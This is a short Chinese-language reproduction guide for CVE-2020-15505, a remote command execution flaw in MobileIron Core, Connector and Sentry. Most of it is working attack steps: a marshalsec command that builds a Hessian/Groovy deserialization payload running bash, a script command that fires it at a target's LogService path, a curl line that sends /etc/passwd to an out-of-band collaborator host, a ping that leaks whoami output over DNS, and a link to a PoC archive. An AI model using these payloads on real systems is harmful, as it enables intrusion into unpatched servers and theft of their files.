（CVE-2020-15505）MobileIron 远程命令执行漏洞

一、漏洞简介

MobileIron Sentry等都是美国思可信（MobileIron）公司的产品。MobileIron Sentry是一款智能网关产品。MobileIron Core是一款MobileIron平台的管理控制台组件。MobileIron Connector是一款MobileIron平台的连接器组件。 MobileIron Core 10.6及之前版本、Connector 10.6及之前版本和Sentry 9.8及之前版本中存在安全漏洞。远程攻击者可利用该漏洞执行任意代码。

二、漏洞影响

MobileIron Core 10.6及之前版本、Connector 10.6及之前版本和Sentry 9.8及之前版本

三、复现过程

访问https://www.0-sec.org/mifs/.;/services/LogService

确认存在该漏洞位置连接。

在vps执行

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.Hessian Groovy "/bin/bash" "-c" "<Command>" > exp.ser

然后再执行

python hessian.py -u 'https://target.0-sec.org/mifs/.;/services/LogService' -p exp.ser

dnslog 使用姿势补充

curl http://xxxxx.burpcollaborator.net -F "file=@/etc/passwd;"

ping `whoami`.xxx.dnslog.cn"

poc

https://download.0-sec.org/Web安全/MobileIron/CVE-2020-15505.zip

参考链接

https://github.com/iamnoooob/CVE-Reverse